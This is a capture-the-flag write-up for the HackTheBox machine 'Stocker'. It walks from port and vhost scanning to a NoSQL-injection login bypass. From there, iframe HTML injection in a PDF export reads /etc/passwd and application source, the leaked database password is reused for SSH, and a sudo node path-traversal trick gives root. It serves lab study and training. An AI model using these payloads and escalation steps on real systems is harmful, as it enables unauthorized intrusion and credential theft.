HackTheBox - Stocker
Recon:
sudo nmap -sV -sC -oA nmap/alltcp 10.10.11.196 -p- -v
--snip--
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
--snip--
Open ports
port | service | initail footprint |
---|---|---|
80 | http | the host is stocker.htb , nginx/1.18.0 |
22 | ssh |
Adding stocker.htb to /etc/hosts
sudo echo "10.10.11.196 stocker.htb" >> /etc/hosts
http://stocker.htb
just static website that has no info
Tech detect
echo "stocker.htb" | httpx -td
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/
projectdiscovery.io
[INF] Current httpx version v1.2.9 (latest)
http://stocker.htb [Eleventy:2.0.0,Nginx:1.18.0,Ubuntu]
dirsearch
dirb http://stocker.htb/ /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Apr 14 00:15:18 2023
URL_BASE: http://stocker.htb/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
-----------------
GENERATED WORDS: 5947
---- Scanning URL: http://stocker.htb/ ----
==> DIRECTORY: http://stocker.htb/css/
==> DIRECTORY: http://stocker.htb/img/
==> DIRECTORY: http://stocker.htb/js/
==> DIRECTORY: http://stocker.htb/fonts/
--> Testing: http://stocker.htb/catalog
Nothing usefull
subdomains scan
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/04/14 00:36:28 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
sudo echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts
http://dev.stocker.htb
Tech detect
echo "dev.stocker.htb" | httpx -td 2 ⨯
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/
projectdiscovery.io
[INF] Current httpx version v1.2.9 (latest)
http://dev.stocker.htb [Express,Nginx:1.18.0,Node.js,Ubuntu]
we have a node js webserver
Trying admin:admin
I have tried password spraying, sqli but no luck seems we need one of the node.js login bypasses
Hacking NodeJS and MongoDB
I found this post and it worked :)
payload:
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
and we are in :)
What can we do?
- Add items to cart
- View cart
- Submit the purchace
- View the purchase order as a pdf file (we can have html injection here)
the only reflected fields are the title , price and amount(Quantity)
Html injection
File Inclusion
/etc/passd
payoad:<iframe src=/etc/passwd height=1000 width=1000></iframe>
- root
- angoose
- www-data (in /var/www)
/var/www/dev/index.js
payoad:<iframe src=/var/www/dev/index.js height=1000 width=1000></iframe>
onst express = require("express"); const mongoose = require("mongoose"); const session = require("express-session"); const MongoStore = require("connect-mongo"); const path = require("path"); const fs = require("fs"); const { generatePDF, formatHTML } = require("./pdf.js"); const { randomBytes, createHash } = require("crypto"); const app = express(); const port = 3000; // TODO: Configure loading from dotenv for production const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use( session({ secret: randomBytes(32).toString("hex"), resave: false, saveUninitialized: true, store: MongoStore.create({ mongoUrl: dbURI, }), }) ); app.use("/static", express.static(__dirname + "/assets")); app.get("/", (req, res) => { return res.redirect("/login"); }); app.get("/api/products", async (req, res) => { if (!req.session.user) return res.json([]); const products = await mongoose.model("Product").find(); return res.json(products); }); app.get("/login", (req, res) => { if (req.session.user) return res.redirect("/stock"); return res.sendFile(__dirname + "/templates/login.html"); }); app.post("/login", async (req, res) => { const { username, password } = req.body; if (!username || !password) return res.redirect("/login?error=login-error"); // TODO: Implement hashing const user = await mongoose.model("User").findOne({ username, password }); if (!user) return res.redirect("/login?error=login-error"); req.session.user = user.id; console.log(req.session); return res.redirect("/stock"); }); app.post("/api/order", async (req, res) => { if (!req.session.user) return res.json({});
we got a password
IHeardPassphrasesArePrettySecure
ssh as angoose
ssh angoose@stocker.htb
Priv Esc
we can run node as a sudo only if the script path fit the /usr/local/scripts/*.js
the folder /usr/local/scripts/
is not writable so we need a path traversal trick
inside the home directory we can make our script
and it worked
now we can create our script
const { exec } = require("child_process");
exec("/bin/bash /home/angoose/script.sh", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
sudo node /usr/local/scripts/../../../home/angoose/script.js